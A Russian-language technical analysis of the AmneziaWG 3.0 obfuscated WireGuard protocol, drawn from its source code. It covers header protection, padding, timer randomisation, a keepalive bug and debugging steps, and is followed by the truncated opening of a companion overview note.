исходящих пакетов), `device/receive.go` (разбор входящих), `device/uapi.go` (параметры и их проверка), `device/timers.go` (тайминги). После 4 августа линия получила продолжение: 5 августа 2026 года в go и в модуле ядра вышли теги `v3.0.20260805` с исправлением keepalive-дефекта (разобран ниже), а 12 августа — линия 3.1 с параметрами `RandomTrailers` и `DisableCookies`, обзор которой — в [[amnezia-3-0/reference|заметке про AmneziaWG 3.0]]. Описанную здесь механику 3.0 эти теги не меняют: формат пакетов и разбор тегов CPS в 3.1 идентичны 3.0 (сверено диффом 20 августа 2026 года). Раздел о наборах тегов сигнатур дополнительно сверен с модулем ядра (`src/junk.c`, теги `v3.0.20260805` и `v3.1.20260812`). > [!warning] Первоисточник здесь — код, а не документация > Официального описания механики третьего поколения не существует: к 20 августа 2026 года страница docs.amnezia.org об AmneziaWG обзавелась таблицей параметров вплоть до 3.0, но с оговоркой, что подробности добавят после выхода self-hosted-поддержки; обещанная статья в блоге так и не вышла. README репозитория покрывает список параметров, но не механику. Поэтому разбор ниже — чтение исходников, и любые расхождения с будущей официальной документацией следует трактовать в её пользу. Отдельно предупреждение о ходящем по сети «разборе под капотом» из GitHub Discussions: значительная часть его утверждений кодом не подтверждается, подробности — в [[amnezia-3-0/reference|обзорной заметке]]. ## Полный список параметров устройства Третье поколение AmneziaWG (*AWG 3, «амнезия 3.0», «АмнезияВГ 3»*) не переизобретает конфигурацию, а дописывает к ней восемь новых ключей. Полная картина того, что понимает движок `v3.0.3` (имена в конфигурационном файле и соответствующие им ключи внутреннего интерфейса UAPI, через который утилиты общаются с движком): | В конфиге | Ключ UAPI | Тип | Появился | Сторона | |---|---|---|---|---| | `Jc`, `Jmin`, `Jmax` | `jc`, `jmin`, `jmax` | int | 1.0 | клиентская | | `S1`–`S4` | `s1`–`s4` | int | 1.0 (`S3`, `S4` — в 2.0) | серверная | | `H1`–`H4` | `h1`–`h4` | диапазон uint32 | 1.0 (диапазоны — в 2.0) | серверная | | `I1`–`I5` | `i1`–`i5` | строка на языке CPS | 1.5 | клиентская | | **`HeaderProtectionKey`** | `header_protection_key` | 32 байта, base64 | **3.0** | серверная | | **`ContentPaddingAddition`** | `content_padding_addition` | диапазон uint32 | **3.0** | клиентская | | **`RekeyAfterTime`** | `rekey_after_time` | диапазон uint32, секунды | **3.0** | клиентская | | **`RekeyTimeout`** | `rekey_timeout` | диапазон uint32, секунды | **3.0** | клиентская | | **`RejectAfterTime`** | `reject_after_time` | диапазон uint32, секунды | **3.0** | клиентская | | **`KeepaliveTimeout`** | `keepalive_timeout` | диапазон uint32, секунды | **3.0** | клиентская | | **`MaxHandshakeAttempts`** | `max_handshake_attempts` | диапазон uint32, попытки | **3.0** | клиентская | | `PersistentKeepalive` | `persistent_keepalive_interval` | стал диапазоном | изменён в **3.0** | клиентская | Разделение на «стороны» в терминологии README означает буквально следующее: **серверные** параметры обязаны совпадать на обоих концах туннеля, иначе стороны не поймут друг друга; **клиентские** можно задавать только на одной стороне — они влияют на то, как эта сторона отправляет, и не требуют согласования. Проще говоря: ключ защиты заголовков и значения паддинга должны быть одинаковыми у клиента и сервера, а мусорные пакеты, content padding и тайминги каждый настраивает под себя. Формат диапазона — `a-b`, либо одиночное число (тогда границы совпадают), либо `(off)`. Разбирается он в тип `UintRange`, где обе границы упакованы в одно 64-битное число: младшие 32 бита — нижняя граница, старшие — верхняя. Такая упаковка позволяет менять диапазон атомарно, без блокировок, прямо во время работы туннеля. ## Слои обфускации: как собирается исходящий пакет Полезно держать в голове порядок, в котором данные обрастают слоями. Для транспортного пакета он такой: 1. **Прикладные данные** приходят из виртуального сетевого интерфейса. 2. **Content padding** — в хвост дописываются нулевые байты: случайное количество из диапазона `ContentPaddingAddition`, а если параметр не задан — ровно столько, чтобы длина стала кратна 16 (штатное поведение WireGuard). 3. **Шифрование полезной нагрузки** — ChaCha20-Poly1305 сеансовым ключом, штатный механизм WireGuard. На выходе получается шифртекст плюс 16-байтовая метка подлинности. 4. **Заголовок WireGuard** — 16 байт: тип сообщения (значение из диапазона `H4`), индекс получателя, счётчик пакетов. 5. **Криптопаддинг `S4`** — перед заголовком в буфере лежат `S4` случайных байт. 6. **Защита заголовков** — 16 байт заголовка шифруются ChaCha20 с одноразовым числом из первых 12 байт паддинга. Ключевая перестановка относительно [[amnezia-2-0/reference|второго поколения]] — в шаге 5. Раньше паддинг `S4` дописывался в самом конце, сдвигом уже готового зашифрованного пакета вправо по буферу. Теперь место под него резервируется заранее (`elem.padding` выставляется при создании исходящего элемента), и заполняется он до шифрования заголовка — иначе неоткуда было бы взять одноразовое число. Для рукопожатия порядок другой и полностью сохраняет логику 2.0: сначала уходят сигнатурные пакеты `I1`–`I5` (каждый — отдельная датаграмма), затем `Jc` мусорных пакетов, и лишь потом само сообщение инициации. Всё это отправляется одним системным вызовом. ## Header protection побайтово ### Ключ Параметр `HeaderProtectionKey` — 32 байта, в конфигурационном файле записывается в base64, как обычный ключ WireGuard; шестнадцатеричная форма используется только на внутреннем интерфейсе UAPI. Генерируется командой `awg genkey`. Ключ хранится в устройстве под отдельной блокировкой чтения-записи и **живёт всё время работы интерфейса**: он не участвует в выработке сеансовых ключей и не меняется при обновлении сессии каждые пару минут. Это осознанный размен — заголовки нужно уметь расшифровать до того, как станет понятно, к какой сессии относится пакет. Если ключ нулевой, функция выдачи шифра возвращает пустое значение, и весь механизм отключается — движок ведёт себя ровно как AWG 2.0. Именно поэтому «несовместимость с 2.0» на самом деле означает «несовместимость конфигураций с включённой защитой заголовков»: сам движок умеет работать в обоих режимах. ### Одноразовое число Шифр — ChaCha20 в варианте IETF, без аутентификации (`chacha20.NewUnauthenticatedCipher`). Его одноразовое число занимает 12 байт, и берётся оно не из отдельного поля, а **из начала криптопаддинга**: ``` Отправка (сообщение инициации): buf = [ S1 байт ] ← crypto/rand.Read по всей длине [ 148 байт сообщения ] nonce = buf[:12] ← первые 12 байт паддинга cip = ChaCha20(key, nonce) cip.XORKeyStream(packet, packet) ← шифруется всё сообщение целиком ``` Отсюда единственное жёсткое ограничение третьего поколения: при непустом ключе **все четыре значения `S1`–`S4` должны быть не меньше 12**, иначе одноразовое число просто не поместится. Проверка стоит в обработчике настроек и отвергает всю конфигурацию целиком. Обратите внимание на побочный эффект: `S4` ≥ 12 означает, что 12 с лишним лишних байт добавляются **к каждому транспортному пакету**, а не только к рукопожатиям. Отключить паддинг для потока данных, сохранив защиту заголовков, нельзя. ### Что именно шифруется | Тип сообщения | Размер | Что покрывает шифр | |---|---|---| | Инициация рукопожатия | 148 байт | всё сообщение, включая MAC1 и MAC2 | | Ответ на рукопожатие | 92 байта | всё сообщение целиком | | Ответ с cookie | 64 байта | всё сообщение целиком | | Транспортный пакет | 16 байт заголовка | только заголовок: тип, индекс получателя, счётчик | Полезная нагрузка транспортных пакетов вторым слоем не шифруется, и это правильно: она уже зашифрована ChaCha20-Poly1305 и статистически неотличима от случайных данных, так что второй проход дал бы нулевой выигрыш в маскировке при заметной трате процессора. Проще говоря: третье поколение прячет не содержимое — оно и так было спрятано, — а **служебную разметку**, по которой пакет опознавался как WireGuard. ### Приём: трюк с «хэшем типа» Здесь самая любопытная часть реализации. Проблема очевидна: чтобы расшифровать заголовок, нужно знать длину паддинга, а она зависит от типа сообщения, который сам лежит в зашифрованном заголовке. Замкнутый круг. Решение опирается на свойство потокового шифра — шифрование блока нулей даёт чистый поток ключа: ``` Приём (любой пакет): nonce = packet[:12] ← первые 12 байт датаграммы cip = ChaCha20(key, nonce) typeHash = cip.XORKeyStream(0x00000000) ← первые 4 байта потока ключа для каждого кандидата (init / response / cookie / transport): если размер пакета == S_i + размер_сообщения: тип = packet[S_i : S_i+4] XOR typeHash ← расшифровка только поля типа если тип попадает в диапазон H_i → это оно далее поток ключа продолжается с 5-го байта: cip.XORKeyStream(packet[4:конец_заголовка]) ``` Такая конструкция даёт две вещи. Во-первых, приёмник расшифровывает четыре байта вместо целого пакета и только потом решает, стоит ли возиться дальше. Во-вторых, поток ключа расходуется строго последовательно и в точности повторяет порядок, в котором шифровала отправляющая сторона: первые 4 байта ушли на поле типа, остальное — на всё, что за ним. Отдельная приятная деталь: при выключенной защите заголовков «хэш типа» состоит из нулей, а операция «исключающее ИЛИ» с нулями ничего не меняет. Один и тот же код работает в обоих режимах без ветвлений — источник целого класса ошибок здесь просто отсутствует. ## Как выглядит пакет на проводе **Транспортный пакет (третье поколение, защита включена):** ``` ┌───────────┬────────────────┬──────────────────────┬───────────────────────────┬───────────┐ │ nonce │ остаток S4 │ заголовок (16 байт) │ шифртекст полезной │ метка │ │ 12 байт │ S4-12 байт │ ЗАШИФРОВАН ChaCha20 │ нагрузки + content padding│ Poly1305 │ │ случайных │ случайных │ тип│получатель│счётчик│ │ 16 байт │ └───────────┴────────────────┴──────────────────────┴───────────────────────────┴───────────┘ └── открытым текстом, но неотличимо от шума ──┘ └── и до, и после: сплошная псевдослучайность ──┘ ``` **Сообщение инициации рукопожатия:** ``` ┌───────────┬───────────────┬──────────────────────────────────────────────┐ │ nonce │ остаток S1 │ 148 байт сообщения, ЗАШИФРОВАННЫХ ЦЕЛИКОМ │ │ 12 байт │ S1-12 байт │ (тип, отправитель, ключи, метка времени, │ │ │ │ MAC1, MAC2 — всё) │ └───────────┴───────────────┴──────────────────────────────────────────────┘ Итоговый размер: S1 + 148 байт — постоянный для данной конфигурации ``` Для наблюдателя со стороны сети датаграмма целиком выглядит равномерным шумом: ни одного поля с предсказуемым значением, ни одной структуры, за которую можно зацепиться сигнатурой. В версии 2.0 первые четыре байта после паддинга были осмысленным числом из диапазона `H1`–`H4`, а дальше шли постоянный индекс получателя и монотонно растущий счётчик. ## Content padding: как считается добавка Механизм устроен проще, чем можно подумать по названию, и умещается в один вспомогательный расчёт: - если `ContentPaddingAddition` не задан, возвращается признак «нет добавки», и работает обычное выравнивание длины до кратности 16; - если задан, из диапазона берётся случайное число; - добавка ограничивается сверху свободным местом до MTU (максимального размера передаваемого блока), чтобы не спровоцировать фрагментацию; - полученное количество **нулевых** байт дописывается в конец открытого текста, после чего всё вместе шифруется. Два следствия, важных на практике. Первое: добавка попадает **внутрь** зашифрованной части, наблюдатель видит только изменившуюся длину пакета — сами байты паддинга он отличить от данных не может. Второе: заданный content padding **отменяет** штатное выравнивание по 16 байт. Именно в этом смысл механизма — предсказуемая сетка длин, кратных шестнадцати, сама по себе является признаком, по которому поток можно отнести к WireGuard-подобным. > [!note] Keepalive тоже паддится — это скрытое улучшение > Служебные пакеты поддержания соединения проходят тот же путь, что и обычные: паддинг `S4` им назначается при создании исходящего элемента, а content padding считается от нулевого размера полезной нагрузки. В [[amnezia-2-0/reference|версии 2.0]] keepalive шёл в обход `S4` и всегда весил ровно 32 байта — постоянный размер, повторяющийся строго по таймеру, то есть отличный опознавательный признак. Ни в README, ни в анонсах это изменение не упомянуто. ### Побочный эффект: рукопожатие каждые 15 секунд вместо двух минут У паддинга keepalive обнаружился дефект, живший в релизах третьего поколения с 24 июля по 5 августа 2026 года. Обе реализации опознавали keepalive по длине пакета, а паддинг эту длину изменил. В `amneziawg-go` тега `v3.0.3` проверка «отправлены ли данные» сравнивает длину уже собранного пакета с 32 байтами (`len(elem.packet) != MessageKeepaliveSize` в `device/send.go`), но к этому моменту в пакет уже вшит префикс `S4` — при любом ненулевом `S4` каждый keepalive засчитывается как данные. Второй, независимый путь — content padding: расшифрованный keepalive у приёмника перестаёт быть пустым, проверка `len == 0` в `device/receive.go` не срабатывает, и пакет уходит в ветку «получены данные». Следствие для простаивающего туннеля: отправка «данных» взводит таймер нового рукопожатия на `KeepaliveTimeout + RekeyTimeout` — по умолчанию 10 + 5 = 15 секунд, — а погасить его на молчащем туннеле нечем. Получается самоподдерживающийся цикл: рукопожатие → подтверждающий keepalive → таймер → новое рукопожатие, и так каждые ~15 секунд. Замеры в issue [#186](https://github.com/amnezia-vpn/amneziawg-linux-kernel-module/issues/186) модуля ядра: медиана интервала между рукопожатиями 15,0 с при `S4 = 17` против 147–148 с у контроля без `S4` — примерно десятикратный рост. Перед каждым лишним рукопожатием, как обычно, уходят `Jc` мусорных и `I1`–`I5` сигнатурных пакетов, так что дефект не просто тратил трафик, а умножал самую заметную часть почерка протокола. Границы дефекта по реализациям различаются. В модуле ядра он старше третьего поколения: issue #186 создано 15 июля 2026 года, за две недели до выхода 3.0 в модуле, — проверка `is_keepalive = skb->len == message_data_len(0)` в `src/send.c` выполнялась после добавления `S4`-мусора, то есть ошибка касалась и установок [[amnezia-2-0/reference|AWG 2.0]] с ненулевым `S4`. В go-движке дефект появился именно в линии 3.0 — на `v0.2.19` та же проверка шла до добавления паддинга, и keepalive распознавался корректно (полевые замеры в том же issue: медиана 15,0 с на `v3.0.3` против 132,0 с на `v0.2.19`). Исправление: в модуле ядра — PR [#208](https://github.com/amnezia-vpn/amneziawg-linux-kernel-module/pull/208) (смержен 5 августа 2026; keepalive теперь помечается явным флагом, а приёмник считает keepalive-ом и пакет из одних нулевых байт), вошёл в теги `v3.0.20260805` и `v3.1.20260812`. В go исправление вышло в тот же день тегом `v3.0.20260805`. На более ранних сборках дефект лечился бы только нулевым `S4`, что при включённой защите заголовков невозможно (`S4` ≥ 12), — поэтому обновление обязательно. ## Тайминги: где берётся случайное значение, а где граница Шесть таймеров стали диапазонами, но применяются они не одинаково, и разница принципиальна для устойчивости туннеля. **Случайное значение при каждом взводе** (`PickOne` берёт новое число из диапазона всякий раз): интервал переустановки ключей, пауза перед повтором рукопожатия, таймер отправки keepalive, интервал `PersistentKeepalive`, максимальное число попыток рукопожатия. Именно эти вызовы и размывают ритм соединения — два подряд рукопожатия не совпадут по времени. **Границы диапазона вместо случайного значения** — там, где протокол обязан сохранять внутренние инварианты. Например, срок жизни связки ключей вычисляется по **верхней** границе, а минимальный интервал между попытками рукопожатия — по **нижней**. Логика понятна: если бы движок брал случайные значения и здесь, он мог бы, например, посчитать ключ протухшим раньше, чем истёк допустимый срок его использования, и туннель начал бы рвать сам себя. Проще говоря: случайность добавлена там, где она видна снаружи и не ломает протокол, а во внутренних проверках используются осторожные крайние значения. ## Что изменилось относительно AWG 2.0 | Аспект | AWG 2.0 | AWG 3.0 | |---|---|---| | Поле типа сообщения | значение из диапазона `H1`–`H4`, открыто | зашифровано | | Индекс получателя и счётчик | открыты, предсказуемы | зашифрованы | | MAC1 и MAC2 в рукопожатиях | открыты | зашифрованы вместе со всем сообщением | | Паддинг `S1`–`S4` | чистый мусор | мусор плюс источник одноразового числа | | Минимум `S1`–`S4` | 0 (любое) | 12 при включённой защите заголовков | | Момент добавления `S4` | сдвиг готового пакета вправо | место резервируется заранее | | Keepalive | без `S4`, ровно 32 байта | с `S4` и content padding | | Длина полезной нагрузки | выравнивание до 16 байт | случайная добавка из диапазона | | Тайминги | константы WireGuard | диапазоны, новое значение на каждый взвод | | Мусорные и сигнатурные пакеты | `Jc`/`Jmin`/`Jmax`, `I1`–`I5`, язык CPS | без изменений | | Криптография WireGuard | не менялась | не менялась | Последнюю строку стоит проверить отдельно, поскольку вокруг неё много домыслов: файл с криптографическими примитивами (`device/noise-helpers.go`) в теге `v3.0.3` **побайтно совпадает** с оригиналом из `wireguard-go`. Рукопожатие Noise IKpsk2, эллиптическая кривая Curve25519, хэш Blake2s — всё нетронуто. Защита заголовков надстроена поверх готовых сообщений и в выработке ключей не участвует. ## Анализ: что протокол закрывает, а что оставляет видимым Раздел ниже — разбор по коду, а не позиция команды Amnezia: официального описания модели угроз третьего поколения не публиковалось. ### Что закрыто **Сигнатуры по содержимому пакета.** После шифрования заголовков в датаграмме не остаётся ни одного поля с предсказуемым или медленно меняющимся значением. Правило вида «четыре байта в начале равны 4, следующие четыре постоянны в рамках потока, дальше восьмибайтовый счётчик растёт на единицу» — а это и есть классический способ опознать WireGuard — больше не срабатывает. **Сигнатура keepalive.** Постоянный 32-байтовый пакет, приходящий строго по таймеру, был удобной зацепкой даже при полностью зашифрованном содержимом: важен не смысл байтов, а сам факт периодического повтора одинакового размера. Теперь размер плавает за счёт `S4` и content padding, а момент отправки — за счёт диапазонного таймера. **Сетка длин, кратных 16.** Content padding убирает регулярность, которая выдавала внутреннее выравнивание. ### Что осталось **Постоянные размеры рукопожатий.** Content padding применяется только к транспортным пакетам; сообщения инициации и ответа собираются в буфер фиксированной длины — `S1`+148 и `S2`+92 байта соответственно. Для конкретной конфигурации это две константы, и характерный обмен «датаграмма размера X → в ответ датаграмма размера Y → следом поток» никуда не делся. Универсальной сигнатуры здесь нет, поскольку `S1` и `S2` у каждой установки свои, но **структурный** признак — короткий двухшаговый обмен фиксированных размеров перед началом потока — наблюдаемый. Ровно этот признак закрывает вышедшая 12 августа 2026 года линия 3.1: параметр `RandomTrailers` дописывает к пакетам рукопожатия хвост случайной длины, но требует включения на обеих сторонах — разбор в [[amnezia-3-0/reference|обзорной заметке]]. **Молчание в ответ на активное зондирование.** Пакет, не подошедший ни под один размер и диапазон заголовков, просто отбрасывается без ответа. Для системы, которая проверяет подозрительный адрес отправкой мусора, «сервер, который не отвечает вообще ничем на порт UDP» — тоже поведенческий признак. Механизм отката на локальный веб-сервис, который решал бы эту задачу по образцу REALITY, в репозитории существует, но живёт в экспериментальной ветке и в релиз третьего поколения не вошёл. **Профиль потока данных.** Объём трафика, ритм пакетов приложения, длительность сессий — обфускация уровня протокола на это не влияет. В описанной разработчиком Amnezia балльной системе, где сервер блокируется по сумме признаков, объём трафика назван одним из ключевых факторов. **Блокировка по адресу.** Если адрес сервера уже в списках, смена версии протокола не поможет. Это ограничение общее для всех решений такого класса, см. [[DPI/ru-network-blocklists|обзор сетевых блокировок]] и [[DPI/vpn-blocking-wave-forecast-summer-2026|прогноз по волнам блокировок]]. ### Криптографические заметки Не уязвимости, а свойства конструкции, о которых стоит знать. Ключ защиты заголовков **статичен** на всё время жизни интерфейса, а одноразовое число имеет длину 96 бит и берётся из криптостойкого генератора случайных чисел. Повтор одноразового числа означал бы повторное использование потока ключа — для потокового шифра это ведёт к утечке: исключающее ИЛИ двух заголовков раскрывается. Оценка запаса по «парадоксу дней рождения»: пятидесятипроцентная вероятность совпадения достигается примерно после 2⁴⁸ пакетов — это порядка 10¹⁴ штук, то есть годы непрерывной работы канала на гигабитной скорости. Практического риска нет, но и бесконечным запас не является, а ротации этого ключа в протоколе не предусмотрено. Шифр применяется **без аутентификации**, и это корректно: подлинность обеспечивают штатные механизмы WireGuard (MAC1 и MAC2 в рукопожатиях, метка Poly1305 в транспортных пакетах), которые остались на месте. Расшифровка заголовка сама по себе ничего не подтверждает — она лишь позволяет опознать пакет, а решение о доверии принимается ниже по конвейеру. ### Накладные расходы К каждому транспортному пакету добавляется минимум 12 байт паддинга плюс случайная добавка content padding. На типичном пакете в 1400 байт минимальный обязательный оверхед составляет около 0,9% от полосы, что для практических целей несущественно; настроенный на широкий диапазон content padding способен добавить заметно больше — это осознанный размен скорости на маскировку. Вычислительная нагрузка мала: ChaCha20 обрабатывает 16 байт заголовка на пакет, а рукопожатия происходят раз в пару минут. ## Ловушки, замеченные в коде > [!warning] Сообщение об ошибке нумерует параметры с нуля > Если движок отвергает конфигурацию, он пишет `S0 must be more then 12 to use headerProtection`. Параметра `S0` не существует: проверка перебирает четыре значения в цикле и подставляет индекс массива, начинающийся с нуля, так что `S0` в сообщении означает **`S1`**, `S1` означает `S2` и так далее. При диагностике прибавляйте единицу. В той же строке живёт опечатка «more then» вместо «more than», а формулировка «больше 12» неточна — проверка отвергает значения **меньше** 12, само число 12 допустимо. Ещё три момента, на которых легко споткнуться: **Снять параметр обфускации «на живую» нельзя — только пересозданием интерфейса.** Команды `awg setconf` и `awg syncconf` для AWG-параметров работают на добавление и изменение: обе реализации трогают только те ключи, которые присутствуют в переданной конфигурации, а про отсутствующие ничего не знают — удалённая из файла строка не обнуляет значение на работающем интерфейсе. Изменить значение так можно, убрать совсем — нет: интерфейс придётся пересоздать (`awg-quick down`/`up` или `systemctl restart awg-quick@awg0`), что на сервере оборвёт соединения всех клиентов. Наблюдение мейнтейнера стороннего установщика [amneziawg-installer](https://github.com/bivlked/amneziawg-installer), согласуется с устройством обеих реализаций: и netlink-обработчик модуля ядра, и UAPI-парсер go обрабатывают только присутствующие атрибуты. **Требование к паддингу распространяется на все четыре значения сразу.** Даже если вы, скажем, не собираетесь получать cookie-ответы под нагрузкой, `S3` всё равно обязан быть не меньше 12 — проверка не смотрит, какие типы сообщений реально используются. **README до 31 июля 2026 года указывал порог 8.** В коде порог всегда был 12; расходились именно документация и текст ошибки, исправленные коммитом `ce7cf103` в составе тега `v3.0.3`. Конфигурации, собранные по более ранней инструкции, работать не будут. **Набор тегов сигнатур зависит от реализации.** README перечисляет пять тегов языка CPS, но фактические наборы двух реализаций расходятся в обе стороны (сверено 20 августа 2026 года: `device/obf.go` движка go на тегах `v3.0.3`/`v3.1.20260814`, `src/junk.c` модуля ядра на `v3.0.20260805`/`v3.1.20260812`): | Тег | amneziawg-go | Модуль ядра | |---|:--:|:--:| | ``, ``, ``, ``, `` | есть | есть | | ``, ``, `` — недокументированные | есть | **нет** — конфиг отвергается с `-EINVAL` | | `` — недокументированный счётчик спецпакетов (u32 big-endian, стартует со случайного значения при инициации рукопожатия) | **нет** | есть (`parse_c_tag` в `src/junk.c`) | Практическое следствие: конфигурация с `` работает на узле с модулем ядра, но не поднимется на userspace-движке — то есть в LXC и Docker, на роутерах, на macOS; конфигурация с ``/``/`` — ровно наоборот. Отказ в обоих случаях жёсткий, но заметен по-разному. Движок go пишет в журнал демона строку вида `failed to parse I1: unknown tag ` (клиенту по UAPI уходит только код ошибки). Модуль ядра возвращает голый `-EINVAL`, а поясняющую строку `I1-packet invalid format` печатает через `net_dbg_ratelimited()` — без включённого dynamic debug в `dmesg` пусто; отсюда жалобы вида «интерфейс просто не поднимается, в логе ничего». Правило для рецептов `I1`–`I5`, которые предлагаются другим людям: использовать только пересечение `{b, r, rc, rd, t}`. Теги ``/``/`` в пакетах `I1`–`I5` и так почти бесполезны — они получают на вход пустые данные; полный разбор go-набора — в [[amnezia-2-0/reference|справочнике по AmneziaWG 2.0]]. В линиях 3.0 и 3.1 наборы обеих реализаций идентичны, go-набор не менялся с 2.0. ## Практика: как это отлаживать - [ ] Сгенерировать ключ защиты заголовков: `awg genkey` из пакета `amneziawg-tools` версии `v3.0.20260730` или новее — более старые утилиты не знают новых ключей конфигурации и молча их не передадут. - [ ] Проверить, что все четыре значения `S1`–`S4` не меньше 12; при ошибке про `S0` смотреть на `S1`. - [ ] Убедиться, что `HeaderProtectionKey` побайтно одинаков на сервере и клиенте — при расхождении соединение не установится, а в журнале не будет ничего осмысленного: пакеты просто отбрасываются как неопознанные. - [ ] Поднять уровень журналирования переменной окружения `LOG_LEVEL=debug` — сообщения о неопознанных пакетах и об инициализации шифра идут именно туда. - [ ] На модуле ядра пояснения к отказам (`I1-packet invalid format`, `S0 must be more then 12…`) по умолчанию не печатаются: `awg` показывает голое `Unable to modify interface: Invalid argument`. Включить отладку: `echo "module amneziawg +p" > /sys/kernel/debug/dynamic_debug/control`, повторить неудачную команду, посмотреть `dmesg | tail`, затем выключить той же командой с `-p`. - [ ] На Linux с модулем ядра брать ревизию не ниже `v3.0.20260805`: в ней исправлен keepalive-дефект с рукопожатиями каждые 15 секунд, а в ревизиях до `v3.0.20260731-04` вдобавок падала сборка на ядрах старше 6.7 и мог молча не применяться ключ защиты заголовков. - [ ] Ревизию загруженного модуля смотреть командой `cat /sys/module/amneziawg/version`: у DKMS-сборки там строка тега (например, `3.1.20260812`), у модуля, собранного вручную через `make`, — `1.0.0`. Версия apt-пакета для проверки не годится: она всегда начинается с `1.0.0` (версия debian-упаковки, заморожена с 2023 года), линия кода видна только по git-хешу в конце строки. - [ ] Если конфигурация должна работать и с модулем ядра, и с userspace-движком (LXC, Docker, роутеры, macOS) — собирать `I1`–`I5` только из тегов `{b, r, rc, rd, t}`: наборы тегов реализаций расходятся, подробности в «Ловушках» выше. - [ ] Не копировать значения `I1`–`I5` из примеров: повторяющаяся у тысяч установок сигнатура работает против вас, чему посвящён отдельный разбор в [[amnezia-3-0/reference|обзорной заметке]]. ## 📚 См. также - [[amnezia-3-0/reference|AmneziaWG 3.0]] — обзор: зачем выпущен, кому доступен, история поколений и разбор мифов вокруг релиза. - [[amnezia-2-0/reference|AmneziaWG 2.0: справочник параметров]] — база, поверх которой надстроено третье поколение: мусорные пакеты, паддинг, диапазонные заголовки, язык CPS и все восемь его тегов. - [[amnezia-3-0/client-5-0-0-5|AmneziaVPN 5.0.0.5]] — приложение, в котором третье поколение приехало пользователям. - [[DPI/statistical-morphing-concept|Статистический морфинг трафика]] — общая идея правки длин и таймингов, частным случаем которой является content padding. - [[protocols/00-overview|Карта протоколов обхода блокировок]] — место AmneziaWG среди остальных решений. - 🔗 [amneziawg-go, тег v3.0.3](https://github.com/amnezia-vpn/amneziawg-go/tree/v3.0.3) — исходники, по которым сделан разбор. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/amnezia-3-0/internals.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-04 tags: - amneziawg - wireguard - обфускация - обход-блокировок - dpi aliases: - AmneziaWG 3.0 - AWG 3 - Amnezia 3.0 - Амнезия 3.0 - Амнезия ВПН новая версия - Что за новая Amnezia 3.0 - Чем AmneziaWG 3.0 отличается от 2.0 - Амнезия ВПН 3.0 для своего сервера - AmneziaWG 3 self-hosted когда - AmneziaWG 3.1 - RandomTrailers и DisableCookies что это link: https://github.com/amnezia-vpn/amneziawg-go --- # 🛡️ AmneziaWG 3.0 — шифрование заголовков поверх WireGuard ![[awg3-header.webp]] > [!info] О чём заметка > Разбор третьего поколения протокола AmneziaWG (AWG) — обфусцированного WireGuard от команды Amnezia, выпущенного 24 июля 2026 года. Что реально добавили в 3.0, чем это отличается от [[amnezia-2-0/reference|AmneziaWG 2.0]], кому протокол доступен и какие утверждения о нём гуляют по сети, не подтверждаясь исходным кодом. Побайтовая механика — в [[amnezia-3-0/internals|разборе внутреннего устройства]], сопутствующий релиз приложения — в [[amnezia-3-0/client-5-0-0-5|заметке про AmneziaVPN 5.0.0.5]]. ## TL;DR - **«Amnezia 3.0» — это версия протокола, а не приложения.** Клиент AmneziaVPN версий 3.x — это 2023 год; актуальная нумерация приложения перешла с 4.8.21.0 сразу на 5.0.0.5 (26 июля 2026), и уже в нём появилась поддержка AmneziaWG 3.0. - **Главная новинка — header protection**: потоковым шифром ChaCha20 шифруются заголовки пакетов, то есть те поля, которые в WireGuard и в AWG 2.0 оставались открытыми и предсказуемыми. Криптографию самого WireGuard при этом не трогали. - Дополнительно: **content padding** (случайное удлинение полезной нагрузки) и **рандомизация таймингов** — интервалы рукопожатий и keepalive задаются диапазонами, а не константами. - **Ценой стало требование к паддингу**: при включённой защите заголовков значения `S1`–`S4` обязаны быть не меньше 12 байт, потому что первые 12 байт случайного префикса работают одноразовым числом (nonce) для шифра. - **12 августа 2026 внутри третьего поколения вышла линия 3.1** — синхронные теги `v3.1.20260812` в движке, модуле ядра и утилитах. Два новых параметра: `RandomTrailers` (случайный хвост у пакетов рукопожатия; включать строго на обеих сторонах) и `DisableCookies` (устройство перестаёт слать cookie-ответы; односторонний). Netlink-интерфейс не менялся, утилиты 3.0 работают с модулем 3.1. - **Self-hosted пока пролетает**: AWG 3.0 доступен только подписчикам Amnezia Premium и пользователям Amnezia Free. Поддержка своих серверов смержена в ветку разработки 6 августа 2026 (PR #2908), но в релиз не вошла: последняя версия приложения на 20 августа — 5.0.0.5 от 26 июля. - Популярный «разбор под капотом» из GitHub Discussions (`FallbackPort`, uTLS с отпечатком Chrome, REALITY внутри движка) **исходным кодом релиза не подтверждается** — это либо экспериментальные ветки, либо выдумка. ## Почему путаница с номером версии Вопрос «что за новая Amnezia 3.0?» возникает регулярно, и почти всегда за ним стоит смешение двух независимых нумераций. В русскоязычных чатах сервис называют как угодно — «амнезия», «амнезия ВПН», «Амнезия 3.0», «АмнезияВГ», — и за всеми этими написаниями скрываются два разных продукта с собственными версиями. **Приложение** — AmneziaVPN, графический клиент для Windows, macOS, Linux, Android и iOS. Его версии 3.0.8 и 3.1.0 вышли летом 2023 года (переезд на Qt 6, десктопный WireGuard), после чего нумерация ушла в 4.x, а 26 июля 2026 года прыгнула на 5.0.0.5. **Протокол** — AmneziaWG, обфусцированная надстройка над WireGuard, которую делает та же команда. Его поколения нумеруются отдельно: 1.0, 1.5, 2.0 и, с 24 июля 2026 года, 3.0. Проще говоря: когда в 2026 году пишут «Amnezia 3.0», почти всегда имеют в виду протокол AmneziaWG 3.0 внутри приложения AmneziaVPN 5.0.0.5. Корректная формулировка — «AmneziaWG 3.0», а «Amnezia VPN 3.0» отсылает к трёхлетней давности релизу клиента. ## Хронология поколений протокола Каждое поколение AmneziaWG — ответ на конкретный этап давления DPI (Deep Packet Inspection, глубокая инспекция пакетов). Даты ниже сверены по тегам репозитория [amneziawg-go](https://github.com/amnezia-vpn/amneziawg-go) и публикациям команды. | Поколение | Когда | Что принесло | |---|---|---| | **AWG 1.0** | 2023 | Мусорные пакеты `Jc`/`Jmin`/`Jmax`, паддинг рукопожатий `S1`/`S2`, подменяемые фиксированные заголовки `H1`–`H4` | | **AWG 1.5** | июль 2025 (теги `v0.2.13`–`v0.2.14-beta-awg-1.5`, 4–10 июля 2025) | Сигнатурные пакеты `I1`–`I5`: до пяти UDP-датаграмм перед рукопожатием, имитирующих QUIC, DNS или SIP | | **AWG 2.0** 